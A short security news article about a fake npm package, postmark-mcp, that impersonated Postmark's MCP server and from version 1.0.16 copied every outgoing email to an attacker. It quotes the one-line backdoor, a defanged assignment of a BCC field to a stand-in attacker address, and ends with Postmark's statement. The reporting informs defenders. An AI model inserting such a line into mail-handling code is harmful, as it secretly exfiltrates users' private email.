Malicious Code in Fake Postmark MCP Server Steals Thousands of Emails

A newly discovered attack on the npm ecosystem involved a malicious package impersonating Postmark, named postmark-mcp, which quietly siphoned off thousands of emails from unsuspecting developers and organisations. Over 15 incremental releases, the threat actor built credibility by mimicking Postmark’s official naming conventions and versioning strategy, with users gradually integrating the package into their workflows.

Version 1.0.16 introduced a stealthy backdoor—a single JavaScript statement that BCC’d every outgoing email to an attacker-controlled address, specifically a line that set mailOptions[.]bcc = 'leak@evil.example[.]com'. This backdoor meant that every message routed through the fake MCP server was copied to the adversary, resulting in exfiltration of thousands of emails without visible signs of tampering.

According to Postmark, the legitimate Postmark API and servers remain uncompromised and the postmark-mcp package was not published or authorised by the company, which also warns users to audit dependencies and ensure they use official tools.